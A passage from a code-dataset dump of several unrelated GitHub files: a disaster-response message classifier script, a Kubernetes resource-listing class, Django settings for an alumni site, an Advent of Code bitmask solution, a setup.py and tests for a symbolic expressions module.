Y = df.loc[:, 'related':]\n Y.drop(Y.nunique()[Y.nunique() < 2].index.tolist(), axis=1, inplace=True)\n\n # extract label names\n category_names = Y.columns.to_list()\n\n return X, Y, category_names\n\n\n#%%\n# load data from database\nengine = create_engine('sqlite:///data/disaster_response.db')\ndf = pd.read_sql_table('disaster_response', engine)\n\n\n# X, Y, categories = load_data('data/disaster_response.db', n_sample=10000)\n\n#%%\nX = df.loc[:, ['message']]\nY = df.loc[:, 'related':]\n\n\n# explore `related` feature where its labeled as a `2`\nrelated_twos = df[df['related'] == 2]\n\n# try dropping the above rows\ndf.drop(index=related_twos.index, inplace=True)\ndf = df.reset_index(drop=True)\n# check count of classes\ndf.nunique()\n\n# now `related` has been reduced down to two classes\n\n\n# In[8]:\n# EXPLORE MESSAGES IN MORE DETAIL\n\nidx = 9\ndf.loc[idx, 'message']\ndf.loc[idx, 'related':]\n\n# all rows except `related` are equal to zero at given index\n(df.loc[idx, 'related':] == 0).all()\n\n# iterate over each message, find each row which contains ALL zeros\nrow_sum = df.loc[:, 'related':].apply(sum, axis=1)\ndrop_idx = row_sum[row_sum < 1].index\nprint(len(drop_idx))\n\n\n# inspect indecies before dropping\n# NOTE: This message is asking for FOOD AND WATER. However, ALL labels\n# indicate NO need for help\nidx = drop_idx[78]\ndf.loc[idx, 'message']\ndf.loc[idx, 'message':]\n\n\nidx = drop_idx[77]\ndf.loc[idx, 'message']\ndf.loc[idx, 'message':]\n\n\n#%%\nfrom spellchecker import SpellChecker\n\nspell = SpellChecker()\n\n# find those words that may be misspelled\nmisspelled = spell.unknown(['something', 'is', 'hapenning', 'here'])\n\nfor word in misspelled:\n # Get the one `most likely` answer\n print(spell.correction(word))\n\n # Get a list of `likely` options\n print(spell.candidates(word))\n\nidx = 15\ndf.loc[idx, 'message']\ndf.loc[idx, 'related':]\n\n#%%\n\n### COMBINE OUTPUT CATEGORIES\n\n\n# Combine Weather\n(df['weather_related'] + df['other_weather']).unique()\n\ndf.loc[:, 'related':].sum(axis=1)\n\n\n#%%\n\n# FIND ROWS WITH NO POSITIVE INSTANCES\n\n# where sum across entire row is less than 1\nnull_idx = np.where(df.loc[:, 'related':].sum(axis=1) < 1)[0]\n\n# drop rows which contain all null values\ndf.drop(null_idx, axis=0, inplace=True)\n\n\n#%%\n\n# CHECK BALANCE\nbefore = (df.loc[:, 'related':].sum() / df.loc[:, 'related':].shape[0]).sort_values()\n\n# DROP INDEX\ndf.drop(index=drop_idx, inplace=True)\n\n# CHECK BALANCE, AGAIN\nafter = (df.loc[:, 'related':].sum() / df.loc[:, 'related':].shape[0]).sort_values()\n\nnp.c_[before, after]\n\n# REPLACE `related` with zeros\ndf['related'].replace(to_replace=1, value=0, inplace=True)\ndf['related'].sum()\n\n\n#%%\n\ndef tokenize(text):\n \"\"\"\n Replace `url` with empty space \"\".\n Tokenize and lemmatize input `text`.\n Converts to lower case and strips whitespaces.\n\n\n Returns:\n --------\n dtype: list, containing processed words\n \"\"\"\n\n lemm = WordNetLemmatizer()\n\n url_regex = 'http[s]?://(?:[a-zA-Z]|[0-9]|[$-_@.&+]|[!*\\(\\),]|(?:%[0-9a-fA-F][0-9a-fA-F]))+'\n\n detected_urls = re.findall(url_regex, text)\n for url in detected_urls:\n text = text.replace(url, \"\")\n\n # load stopwords\n stop_words = stopwords.words(\"english\")\n\n remove_words = ['one', 'see', 'please', 'thank', 'thank you', 'thanks',\n 'we', 'us', 'you', 'me']\n for addtl_word in remove_words:\n stop_words.append(addtl_word)\n\n # remove punctuations (retain alphabetical and numeric chars) and convert to all lower case\n # tokenize resulting text\n tokens = word_tokenize(re.sub(r\"[^a-zA-Z]\", ' ', text.lower().strip()))\n\n # drop stop words\n no_stops = [word for word in tokens if word not in stop_words]\n\n # lemmatize and remove stop words\n # lemmatized = [lemm.lemmatize(word) for word in tokens if word not in stop_words]\n\n return no_stops\n\n\n\n#%%\n\nidx = 99\nmsg = df.loc[idx, 'message']\ndf.loc[idx, 'related':]\nprint(msg)\n\n\n# tokenize, pos tag, then recognize named entities in text\ntree = ne_chunk(pos_tag(word_tokenize(msg)))\nprint(tree)\n\nne_list = ['GPE', 'PERSON', 'ORGANIZATION']\nne_labels = []\nfor item in tree.subtrees():\n ne_labels.append(item.label())\n\n# FOUND ENTITIES\npd.Series(ne_list).isin(ne_labels).astype(np.int32).values\n\ntokenize(msg)\n#%%\n#print(nltk.FreqDist(lem).most_common())\n#nltk.ConditionalFreqDist(pos_tag(lem))['is'].most_common()\n\n# POSITION OF VERBS AND NOUNS\n\n\n\n# In[30]:\nN_JOBS = -1\n\n# LogisticRegression params\nlg_params = dict(\n C = 12,\n solver = 'newton-cg',\n penalty = 'l2',\n class_weight = 'balanced',\n multi_class = 'multinomial',\n n_jobs = N_JOBS,\n random_state = 11\n\n)\n\nsvc_params = dict(\n C = 2,\n kernel = 'linear',\n# gamma = 0.002,\n cache_size = 1000,\n class_weight = 'balanced',\n random_state = 11\n\n)\n\nrf_params = dict(\n n_estimators=40,\n max_depth=4,\n # min_samples_split=10,\n class_weight='balanced',\n n_jobs=N_JOBS,\n random_state=11\n )\n\n# define classifier\nclf = LogisticRegression(**lg_params)\n# clf = svm.SVC(**svc_params)\n# clf = RandomForestClassifier(**rf_params)\n#\n\n# pipeline = Pipeline([\n# ('count_vect', CountVectorizer(\n# tokenizer=tokenize,\n# ngram_range=(1, 2),\n# # max_features=200\n# )),\n# ('tfidf_tx', TfidfTransformer()),\n# ('clf', MultiOutputClassifier(clf, n_jobs=6))\n# ])\n\npipeline = Pipeline([\n\n ('features', FeatureUnion([\n ('text_pipeline', Pipeline([\n ('count_vect', CountVectorizer(\n tokenizer=tokenize,\n ngram_range=(1, 1),\n ))\n ])),\n\n # ('keywords', KeywordSearch()),\n # ('verb_noun_count', GetVerbNounCount()),\n # ('entity_count', EntityCount()),\n # ('verb_extract', StartingVerbExtractor()),\n\n\n ], n_jobs=N_JOBS)),\n\n ('tfidf_tx', TfidfTransformer()),\n # ('quantile_tx', QuantileTransformer(output_distribution='normal',\n # random_state=11)),\n # ('decomp', TruncatedSVD(n_components=2,\n # random_state=11)),\n # ('rt', RandomTreesEmbedding(**rt_params)),\n # ('dense', Dense()),\n # ('poly', PolynomialFeatures(degree=3, interaction_only=True)),\n # ('scale', RobustScaler(with_centering=False)),\n ('clf', MultiOutputClassifier(clf, n_jobs=N_JOBS))\n ])\n\n# use ColumnTransfomer to combine transformations\n# NOTE:\n# OneHot expects 2-D, therefore, the column(s) must be specified\n# as a list!\n#full_pipe = Pipeline([\n# ('union', ColumnTransformer([\n# ('category', OneHotEncoder(), [0]),\n# ('messages', pipeline, 1),\n# ])),\n# ('clf', MultiOutputClassifier(clf,n_jobs=-1))\n# ], memory='models/cache')\n\n# In[56]:\n\n# RESET INDEX\n# df.reset_index(drop=True, inplace=True)\n# df['genre'] = df['genre'].astype('category')\n\n# X = df.loc[:, 'message']\n# Y = df.loc[:, 'related':]\n\nX, Y, categories = load_data('data/disaster_response.db', n_sample=0)\n\nprint('X-shape:', X.shape)\nprint('Y-shape:', Y.shape)\n\n\n(Y.sum() / Y.shape[0]).sort_values()\n\n\n# In[31]:\n\n\n# extract category which has less than two classes\nprint(Y.nunique()[Y.nunique() < 2].index.tolist())\n\n# drop category, `child_alone`\nY.drop(Y.nunique()[Y.nunique() < 2].index.tolist(), axis=1, inplace=True)\n\n\nX_train, X_test, y_train, y_test = train_test_split(X.values,\n Y.values,\n # stratify=Y['offer'].values,\n test_size=0.15)\n\n\n# In[33]:\nprint('Training model...')\n\nstart_time = time.perf_counter()\n\npipeline.fit(X_train.ravel(), y_train)\ny_pred = pipeline.predict(X_test.ravel())\n\n#full_pipe.fit(X_train, y_train)\n#y_pred = full_pipe.predict(X_test)\n\nend_time = time.perf_counter()\n\nprint('\\n')\nprint('-'*75)\nprint('Training time:', np.round((end_time - start_time)/60, 4), 'min')\nprint('\\n')\n\n# ### 5. Test your model\n# Report the f1 score, precision and recall for each output category of the dataset. You can do this by iterating through the columns and calling sklearn's `classification_report` on each.\n\nprint('Scoring model...')\n# print label and f1-score for each\navg = 'weighted'\nlabels = Y.columns.tolist()\nf1 = []\nprec = []\nrec = []\nacc = []\n#train_scores = []\nfor i in range(y_test[:, :].shape[1]):\n f1.append(f1_score(y_test[:, i], y_pred[:, i], average=avg))\n acc.append(accuracy_score(y_test[:, i], y_pred[:, i]))\n rec.append(recall_score(y_test[:, i], y_pred[:, i], average=avg))\n prec.append(precision_score(y_test[:, i], y_pred[:, i], average=avg))\n\n# summarize f1-scores and compare to the rate of positive class occurance\nf1_df = pd.DataFrame({'f1-score': np.round(f1, 4),\n 'precision': np.round(prec, 4),\n 'recall': np.round(rec, 4),\n 'accuracy': np.round(acc, 4)}, index=labels)\n\n\nprint('\\n')\nprint('='*75)\nprint(f1_df)\nprint('\\n')\nprint(f1_df.agg(['mean', 'median', 'std']))\nprint('='*75)\nprint('\\n')\n\nf1_df['f1-score'].mean()\n\n\n#%%\nprint('\\nCross-validating...\\n')\nscores = cross_val_score(\n pipeline,\n X_train.ravel(),\n y_train,\n scoring='f1_weighted',\n cv=3,\n n_jobs=N_JOBS)\nprint('\\nCross-val scores:\\n', scores)\n\n#%%\n# with open('results.txt', 'a') as file:\n# file.write('\\n\\n')\n# file.write(str(time.localtime()))\n# file.write(('-'*100))\n# file.write(str(pipeline.get_params()))\n# file.write('\\n\\n')\n# file.write(str(f1_df))\n# file.write('\\n\\n')\n# file.write(str(f1_df.agg(['mean', 'median', 'std'])))\n# file.write('\\n\\n')\n# file.write(('-'*100))\n# file.write('\\n\\n')\n\n\n# ### 6. Improve your model\n# Use grid search to find better parameters.\n\n#%%\n#import matplotlib.pyplot as plt\n#fpr = dict()\n#tpr = dict()\n#roc_auc = dict()\n#for i in range(y_test[:, :].shape[1]):\n# fpr[i], tpr[i], _ = roc_curve(y_test[:, i], y_pred[:, i])\n# roc_auc[i] = auc(fpr[i], tpr[i])\n#\n##%%\n#plt.figure()\n#lw = 2\n#plt.plot(fpr[1], tpr[1], color='darkorange',\n# lw=lw, label='ROC curve (area = %0.2f)' % roc_auc[1])\n#\n#plt.plot([0, 1], [0, 1], color='navy', lw=lw, linestyle='--')\n#plt.xlim([0.0, 1.0])\n#plt.ylim([0.0, 1.05])\n#plt.xlabel('False Positive Rate')\n#plt.ylabel('True Positive Rate')\n#plt.title('Receiver operating characteristic example')\n#plt.legend(loc=\"lower right\")\n#plt.show()\n\n\n\n# In[70]:\n\n# GRID-SEARCH HYPERPARAMS\n\n# print('Performing GridSearch. Please be patient ...')\n# grid_params = {\n# 'clf__estimator__C': [2, 4],\n# # 'clf__estimator__n_estimators': [80, 120, 150],\n# # 'clf__estimator__class_weight': [{0: 1, 1: 500},\n# # {0: 1, 1: 300},]\n\n# }\n\n# grid_cv = GridSearchCV(\n# pipeline,\n# grid_params,\n# cv=3,\n# scoring='f1_weighted',\n# n_jobs=2,\n# )\n# grid_cv.fit(X_train.ravel(), y_train)\n\n\n# print('Using best params...')\n# print(grid_cv.best_params_)\n\n# y_pred = grid_cv.predict(X_test.ravel())\n\n# print('Scoring model using tuned params...')\n# # print label and f1-score for each\n# avg = 'weighted'\n# labels = Y.columns.tolist()\n# f1 = []\n# prec = []\n# rec = []\n# acc = []\n# #train_scores = []\n# for i in range(y_test[:, :].shape[1]):\n# f1.append(f1_score(y_test[:, i], y_pred[:, i], average=avg))\n# acc.append(accuracy_score(y_test[:, i], y_pred[:, i]))\n# rec.append(recall_score(y_test[:, i], y_pred[:, i], average=avg))\n# prec.append(precision_score(y_test[:, i], y_pred[:, i], average=avg))\n\n# # summarize f1-scores and compare to the rate of positive class occurance\n# f1_df = pd.DataFrame({'f1-score': np.round(f1, 4),\n# 'precision': np.round(prec, 4),\n# 'recall': np.round(rec, 4),\n# 'accuracy': np.round(acc, 4)}, index=labels)\n\n\n# print('\\n')\n# print('='*75)\n# print(f1_df)\n# print('\\n')\n# print(f1_df.agg(['mean', 'median', 'std']))\n# print('='*75)\n# print('\\n')\n\n\n#%%\n# ### 8. Try improving your model further. Here are a few ideas:\n# * try other machine learning algorithms\n# * add other features besides the TF-IDF\n# * sampling: upsample or downsample in order to improve balance between classes\n# * however, upsampling minority classes may also affect majority classes and result in no significant imporvement\n# * create more features\n# * search each message for keywords; use target array labels as keywords\n# * for example, search for keywords, `food`, `water`, `shelter`...\n\n# In[ ]:\n\n\n\n\n\n# ### 9. Export your model as a pickle file\n\n# In[ ]:\n\n\n\n\n\n# ### 10. Use this notebook to complete `train.py`\n# Use the template file attached in the Resources folder to write a script that runs the steps above to create a database and export a model based on a new dataset specified by the user.\n\n# In[ ]:\n\n\n\n\n\n# # Resampling\n\n# In[ ]:\n\n\n\ndef upsample(X_train, y_train, target_col_name, sample_fraction=0.25):\n\n # combine train sets\n X_c = pd.concat([X_train, y_train], axis=1)\n # extract `success` and `fail` instances, `success` represented by 1\n fail = X_c[X_c[target_col_name] == 0]\n success = X_c[X_c[target_col_name] == 1]\n\n # upsample to match 'fail' class\n success_upsampled = resample(success,\n replace=True,\n n_samples=int(len(fail)*(sample_fraction)),\n random_state=11\n )\n # put back together resample `success` and fail\n upsample = pd.concat([fail, success_upsampled])\n # split back into X_train, y_train\n X_train = upsample['message']\n y_train = upsample.drop('message', axis=1)\n\n return X_train, y_train\n\ndef get_difference(array1, array2):\n \"\"\"Returns difference in the amount of rows between arrays\"\"\"\n return array1.shape[0] - array2.shape[0]\n\n# print('X_train size: ', X_train.shape[0])\n# print('X_test size: ', X_test.shape[0])\n# # print('X_holdout size:', X_holdout.shape[0])\n\n# # review class balance\n# final_balance = (y_train.sum() / y_train.shape[0]).sort_values()\n# bal_df = pd.DataFrame({'initial_balance': init_balance, 'final_balance': final_balance})\n# print(bal_df.sort_values(by='final_balance'))\n\n\n#%%\n# 1st Upsample\n# =============================================================================\n\nX_train, X_test, y_train, y_test = train_test_split(X,\n Y,\n test_size=0.15)\n# review class balance\ninit_balance = (y_train.sum() / y_train.shape[0]).sort_values()\nprint('Initial balance:\\n', init_balance)\nprint('')\nprint('Initial X_train shape:', X_train.shape[0])\n\n# Upsample 'fire'\n# =============================================================================\nX_train_up, y_train_up = upsample(X_train, y_train, 'fire')\n\n# review class balance\nfinal_balance = (y_train_up.sum() / y_train_up.shape[0]).sort_values()\nbal_df = pd.DataFrame({'initial_balance': init_balance, 'final_balance': final_balance})\nprint(bal_df.sort_values(by='final_balance'))\n\n# number of rows added due to resampling\nprint(get_difference(X_train_up, X_train))\n\n#%%\n# 2nd Upsample\n# =============================================================================\n# review class balance\ninit_balance = (y_train.sum() / y_train.shape[0]).sort_values()\nprint('Initial balance:', init_balance)\nprint('')\n\nX_train_up, y_train_up = upsample(X_train_up, y_train_up, 'missing_people')\n\n# review class balance\nfinal_balance = (y_train_up.sum() / y_train_up.shape[0]).sort_values()\nbal_df = pd.DataFrame({'initial_balance': init_balance, 'final_balance': final_balance})\nprint(bal_df.sort_values(by='final_balance'))\n\n# number of rows added due to resampling\nprint('Rows added after resampling:', get_difference(X_train_up, X_train))\n\n\n# Iterate over mutltiple columns to resample\n# =============================================================================\nfor col in ['fire', 'missing_people', 'clothing']:\n X_train, y_train = upsample(X_train, y_train, col)\n\nprint('Final X_train shape:', X_train.shape[0])\n(y_train.sum() / y_train.shape[0]).sort_values()\n\n\n\n#%%\n# =============================================================================\n# Downsample\n# =============================================================================\ndef downsample(X_train, y_train, target_col_name, sample_fraction=1.0):\n \"\"\"\n\n\n Parameters\n ----------\n X_train : pd.DataFrame\n Training feature space subset.\n\n y_train : pd.DataFrame\n Training target variable subset.\n\n target_col_name : str\n Target variable to resample.\n\n sample_fraction : float, optional\n Controls the number of samples being drawn from an array.\n This essentially control the magnitude of downsampling. Increasing\n this value will draw more samples from array.\n\n Returns\n -------\n X_train : pd.DataFrame\n y_train : pd.DataFrame\n\n \"\"\"\n # combine train sets\n X_c = pd.concat([X_train, y_train], axis=1)\n # extract `success` and `fail` instances, `success` represented by 1\n fail = X_c[X_c['aid_related'] == 0]\n success = X_c[X_c['aid_related'] == 1]\n\n # downsample w/replacment; number of samples = len(fail)\n # this essentially add more instances of `fail` to improve balance\n success_downsampled = resample(fail,\n replace=True,\n n_samples=int(len(success)*sample_fraction),\n random_state=11\n )\n\n # put back together resample `success` and fail\n downsample = pd.concat([success, success_downsampled])\n # split back into X_train, y_train\n X_train = downsample['message']\n y_train = downsample.drop('message', axis=1)\n\n return X_train, y_train\n\nX_train, X_test, y_train, y_test = train_test_split(X,\n Y,\n test_size=0.15)\nx_down, y_down = downsample(X_train, y_train, 'aid_related', 1.0)\n\nx_down.shape\nX_train.shape\n\n(y_down.sum() / y_down.shape[0]).sort_values()\n(y_train.sum() / y_train.shape[0]).sort_values()\n\n#%%\n\n# =============================================================================\n# Perform Upsample, then Downsample\n# =============================================================================\nX, Y, categories = load_data('data/disaster_response.db', n_sample=0)\n\nX_train, X_test, y_train, y_test = train_test_split(X,\n Y,\n test_size=0.15)\n\n# review class balance\ninit_balance = (y_train.sum() / y_train.shape[0]).sort_values()\nprint('Initial balance:\\n', init_balance)\nprint('')\nprint('Initial X_train shape:', X_train.shape[0])\nprint('-'*75)\n\n#### Upsample more important features\nfor col in ['food', 'clothing', 'hospitals']:\n X_train, y_train = upsample(X_train, y_train, col, 0.7)\n\n#### Downsample\nX_train, y_train = downsample(X_train, y_train, 'aid_related', 0.5)\n\n# review class balance\nfinal_balance = (y_train.sum() / y_train.shape[0]).sort_values()\n\nbal_df = pd.DataFrame({'initial_balance': init_balance,\n 'final_balance': final_balance})\n\nbal_df['improved'] = np.where(bal_df['final_balance'] > bal_df['initial_balance'], 1, 0)\nbal_df['diff_prc'] = (bal_df['final_balance'] - bal_df['initial_balance'])*100\n\nprint(bal_df.sort_values(by='final_balance'))\n\nprint(\"Final shape:\", X_train.shape)\nprint(\"Median Improvement:\", bal_df['diff_prc'].median())\n\n\"\"\"\nNOTE:\n Resampling increases the amount of data significantly.\n However, there is improvement in the balance between classes.\n\"\"\"\n\n# In[ ]:\n\n\n# from sklearn.utils.class_weight import compute_class_weight\n# from sklearn.utils import resample\n# class_weights = compute_class_weight('balanced', np.unique(Y), Y.iloc[:, 2])\n\n\n# # Add more features\n\n# In[ ]:\n\n\n\n\n","repo_name":"sergatron/deploy-disaster-response","sub_path":"models/ML_prep_clean.py","file_name":"ML_prep_clean.py","file_ext":"py","file_size_in_byte":25414,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"32768249545","text":"from kubernetes import client\n\n\nclass Resources:\n def __init__(self, region, context, cluster, namespaces):\n self.region = region\n self.context = context\n self.cluster = cluster\n self.namespaces = namespaces\n\n def set_resources(self):\n self.cluster_roles = (\n client.RbacAuthorizationV1Api().list_cluster_role().items\n )\n self.cluster_role_bindings = (\n client.RbacAuthorizationV1Api().list_cluster_role_binding().items\n )\n self.resource_quotas = (\n client.CoreV1Api().list_resource_quota_for_all_namespaces().items\n )\n self.network_policies = (\n client.NetworkingV1Api()\n .list_network_policy_for_all_namespaces()\n .items\n )\n self.storage_classes = client.StorageV1Api().list_storage_class().items\n self.persistent_volumes = (\n client.CoreV1Api().list_persistent_volume().items\n )\n\n\nclass NamespacedResources:\n def __init__(self, region, context, cluster, namespace):\n self.namespace = namespace\n self.region = region\n self.cluster = cluster\n self.context = context\n\n def set_resources(self):\n self.roles = (\n client.RbacAuthorizationV1Api()\n .list_namespaced_role(self.namespace)\n .items\n )\n self.pods = (\n client.CoreV1Api().list_namespaced_pod(self.namespace).items\n )\n self.role_bindings = (\n client.RbacAuthorizationV1Api()\n .list_namespaced_role_binding(self.namespace)\n .items\n )\n self.deployments = (\n client.AppsV1Api().list_namespaced_deployment(self.namespace).items\n )\n self.daemon_sets = (\n client.AppsV1Api().list_namespaced_daemon_set(self.namespace).items\n )\n self.stateful_sets = (\n client.AppsV1Api()\n .list_namespaced_stateful_set(self.namespace)\n .items\n )\n self.services = (\n client.CoreV1Api().list_namespaced_service(self.namespace).items\n )\n self.hpas = (\n client.AutoscalingV1Api()\n .list_namespaced_horizontal_pod_autoscaler(self.namespace)\n .items\n )\n","repo_name":"aws-samples/hardeneks","sub_path":"hardeneks/resources.py","file_name":"resources.py","file_ext":"py","file_size_in_byte":2289,"program_lang":"python","lang":"en","doc_type":"code","stars":770,"dataset":"github-code","pt":"48"} +{"seq_id":"42592040781","text":"\"\"\"\nDjango settings for AlumniConnect project.\n\"\"\"\n\nimport os\n\n# Build paths inside the project like this: os.path.join(BASE_DIR, ...)\nBASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))\n\n# Application definition\n\nINSTALLED_APPS = [\n 'django.contrib.humanize',\n 'django.contrib.admin',\n 'django.contrib.auth',\n 'django.contrib.contenttypes',\n 'django.contrib.sessions',\n 'django.contrib.messages',\n 'django.contrib.staticfiles',\n 'django_cleanup',\n 'anymail',\n 'easy_thumbnails',\n 'imagekit',\n 'crispy_forms',\n 'applications.alumniprofile',\n 'applications.awards',\n 'applications.blog',\n 'applications.events_news',\n 'applications.job_posting',\n 'applications.adminportal',\n 'applications.members',\n 'applications.news',\n 'applications.geolocation',\n 'applications.publications',\n 'applications.gallery',\n 'applications.chapter',\n 'ckeditor',\n 'ckeditor_uploader',\n 'tempus_dominus'\n]\n\nMIDDLEWARE = [\n 'django.middleware.security.SecurityMiddleware',\n 'django.contrib.sessions.middleware.SessionMiddleware',\n 'django.middleware.common.CommonMiddleware',\n 'django.middleware.csrf.CsrfViewMiddleware',\n 'django.contrib.auth.middleware.AuthenticationMiddleware',\n 'django.contrib.messages.middleware.MessageMiddleware',\n 'django.middleware.clickjacking.XFrameOptionsMiddleware',\n]\n\nROOT_URLCONF = 'AlumniConnect.urls'\n\nTEMPLATES = [\n {\n 'BACKEND': 'django.template.backends.django.DjangoTemplates',\n 'DIRS': ['/', os.path.join(BASE_DIR, '..', 'templates')],\n 'APP_DIRS': True,\n 'OPTIONS': {\n 'context_processors': [\n 'django.template.context_processors.debug',\n 'django.template.context_processors.request',\n 'django.template.context_processors.media',\n 'django.contrib.auth.context_processors.auth',\n 'django.contrib.messages.context_processors.messages',\n ],\n },\n },\n]\n\nWSGI_APPLICATION = 'AlumniConnect.wsgi.application'\n\n# Database\n\nDATABASES = {\n 'default': {\n 'ENGINE': 'django.db.backends.sqlite3',\n 'NAME': os.path.join(BASE_DIR, '..', 'db.sqlite3'),\n }\n}\n\n# Password validation\n\nAUTH_PASSWORD_VALIDATORS = [\n {\n 'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator',\n },\n {\n 'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator',\n },\n {\n 'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator',\n },\n {\n 'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator',\n },\n]\n\n# Internationalization\n\nLANGUAGE_CODE = 'en-us'\n\nTIME_ZONE = 'Asia/Kolkata'\n\nUSE_I18N = True\n\nUSE_L10N = False\n\nUSE_TZ = True\n\n# Static files (CSS, JavaScript, Images)\n\nSTATIC_URL = '/static/'\n\nMEDIA_ROOT = os.path.join(BASE_DIR, '..', 'media/')\nMEDIA_URL = '/media/'\nLOGIN_REDIRECT_URL = '/'\nLOGOUT_REDIRECT_URL = '/'\nLOGIN_URL = 'login'\nCRISPY_TEMPLATE_PACK = 'bootstrap4'\n\nCKEDITOR_JQUERY_URL = 'https://ajax.googleapis.com/ajax/libs/jquery/2.2.4/jquery.min.js'\n\nCKEDITOR_UPLOAD_PATH = 'uploads/'\nCKEDITOR_IMAGE_BACKEND = \"pillow\"\n\nCKEDITOR_CONFIGS = {\n 'default': {\n 'toolbar': None,\n 'extraplugins': ['table'],\n 'width': '100%'\n }\n}\n\nTEMPUS_DOMINUS_LOCALIZE = True\n\n# CELERY STUFF\nBROKER_URL = 'redis://localhost:6379'\nCELERY_RESULT_BACKEND = 'redis://localhost:6379'\nCELERY_ACCEPT_CONTENT = ['application/json']\nCELERY_TASK_SERIALIZER = 'json'\nCELERY_RESULT_SERIALIZER = 'json'\nCELERY_TIMEZONE = 'Asia/Kolkata'\nPASSWORD_RESET_TIMEOUT_DAYS = 1\nANYMAIL = {\n # (exact settings here depend on your ESP...)\n \"MAILJET_API_KEY\": os.environ.get(\"MJ_APIKEY_PUBLIC\", \"\"),\n \"MAILJET_SECRET_KEY\": os.environ.get(\"MJ_APIKEY_PRIVATE\", \"\"), # your Mailgun domain, if needed\n\n}\nMAILJET_API_URL = \"https://api.mailjet.com/v3.1\"\nEMAIL_BACKEND = \"anymail.backends.mailjet.EmailBackend\" # or sendgrid.EmailBackend, or...\nDEFAULT_FROM_EMAIL = \"Alumni Cell IIITDMJ \" # if you don't already have this in settings\nSERVER_EMAIL = os.environ.get(\"MJ_SENDER_EMAIL\", \"\") # ditto (default from-email for Django errors)\n\nSTATICFILES_FINDERS = (\n 'django.contrib.staticfiles.finders.FileSystemFinder',\n 'django.contrib.staticfiles.finders.AppDirectoriesFinder'\n)\n\nCACHES = {\n 'default': {\n 'BACKEND': 'django.core.cache.backends.locmem.LocMemCache',\n 'LOCATION': 'unique-snowflake',\n }\n}\n","repo_name":"Student-Alumni-Connect/alumni","sub_path":"AlumniConnect/settings/common.py","file_name":"common.py","file_ext":"py","file_size_in_byte":4540,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"48"} +{"seq_id":"28795859446","text":"import functools\nimport re\n\n\ndef get_input() -> list[str]:\n with open(\"input\") as f:\n return f.readlines()\n\n\ndef combine_value_with_bitmask(value: int, mask: str) -> int:\n bitwise_value = f\"{value:036b}\"\n\n new_bitwise_value_list = []\n for value_bit, mask_bit in zip(bitwise_value, mask):\n bit = value_bit if mask_bit == \"X\" else mask_bit\n new_bitwise_value_list.append(bit)\n\n new_bitwise_value = \"\".join(new_bitwise_value_list)\n\n print(bitwise_value)\n print(mask)\n print(new_bitwise_value)\n\n return int(new_bitwise_value, 2)\n\n\ndef handle_instruction(state: dict, instruction: str) -> dict:\n print(state)\n if \"mask\" in instruction:\n match = re.search(r\"mask = (\\w+)\", instruction)\n if not match:\n raise RuntimeError(f\"Mem instruction should match {instruction}\")\n\n new_mask = match.group(1)\n return {\"memory\": state[\"memory\"], \"mask\": new_mask}\n\n if \"mem\" in instruction:\n match = re.search(r\"mem\\[(\\d+)\\] = (\\d+)\", instruction)\n if not match:\n raise RuntimeError(f\"Mem instruction should match {instruction}\")\n\n memory_index = int(match.group(1))\n memory_value = int(match.group(2))\n new_memory = state[\"memory\"]\n new_memory[memory_index] = combine_value_with_bitmask(\n memory_value, state[\"mask\"]\n )\n return {\"memory\": new_memory, \"mask\": state[\"mask\"]}\n\n raise RuntimeError(f\"Me no understand instruction {instruction}\")\n\n\ndef main() -> int:\n instructions = get_input()\n\n # Initialize memory.\n state: dict = {\"memory\": {}, \"mask\": 0}\n\n final_state = functools.reduce(handle_instruction, instructions, state)\n\n return sum(final_state[\"memory\"].values())\n\n\nprint(main())\n","repo_name":"steve148/advent-of-code","sub_path":"2020/14/part1.py","file_name":"part1.py","file_ext":"py","file_size_in_byte":1763,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"10178366604","text":"from setuptools import setup, find_packages\n\nwith open('README.md') as f:\n long_description = f.read()\n\nsetup(\n name='dvtDecimal',\n version='1.4.0',\n description='Repeating digits of rational numbers',\n long_description_content_type='text/markdown',\n long_description=long_description,\n url='https://twitter.com/david_cobac',\n author='David COBAC',\n author_email='david.cobac@gmail.com',\n keywords=['rational',\n 'numbers',\n 'fraction',\n 'decimal',\n 'nombres',\n 'décimaux'],\n classifiers=[\n \"Programming Language :: Python :: 3\",\n \"Operating System :: OS Independent\",\n ],\n license='CC-BY-NC-SA',\n packages=find_packages()\n)\n","repo_name":"cobacdavid/dvtDecimal","sub_path":"dvtDecimal/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":746,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"110256189","text":"import pytest\ntry:\n from rmad.expressions import Symbol, Number, \\\n Add, Sub, Mul, Div, Pow\nexcept ImportError:\n pass\n\n\ndef test_imports():\n from rmad.expressions import Symbol, Number, \\\n Add, Sub, Mul, Div, Pow # NoQA F401\n\n\n@pytest.fixture\ndef sample_operand_expr():\n o1 = Symbol('x')\n o2 = Symbol('y')\n o3 = Number(42)\n o4 = Number(1)\n return o1, o2, o3, o4\n\n\n@pytest.mark.parametrize(\"a1, a2, expr\", [\n (0, 1, \"x + y\"),\n (2, 1, \"42 + y\"),\n (2, 3, \"42 + 1\"),\n])\ndef test_add(a1, a2, expr, sample_operand_expr):\n x, y = sample_operand_expr[a1], sample_operand_expr[a2]\n assert str(Add(x, y)) == expr, \\\n f\"expected string representation of {expr} but got {str(Add(x, y))}\"\n\n\n@pytest.mark.parametrize(\"a1, a2, expr\", [\n (0, 1, \"x - y\"),\n (2, 1, \"42 - y\"),\n (2, 3, \"42 - 1\"),\n])\ndef test_sub(a1, a2, expr, sample_operand_expr):\n x, y = sample_operand_expr[a1], sample_operand_expr[a2]\n assert str(Sub(x, y)) == expr, \\\n f\"expected string representation of {expr} but got {str(Sub(x, y))}\"\n\n\n@pytest.mark.parametrize(\"a1, a2, expr\", [\n (0, 1, \"x * y\"),\n (2, 1, \"42 * y\"),\n (2, 3, \"42 * 1\"),\n])\ndef test_mul(a1, a2, expr, sample_operand_expr):\n x, y = sample_operand_expr[a1], sample_operand_expr[a2]\n assert str(Mul(x, y)) == expr, \\\n f\"expected string representation of {expr} but got 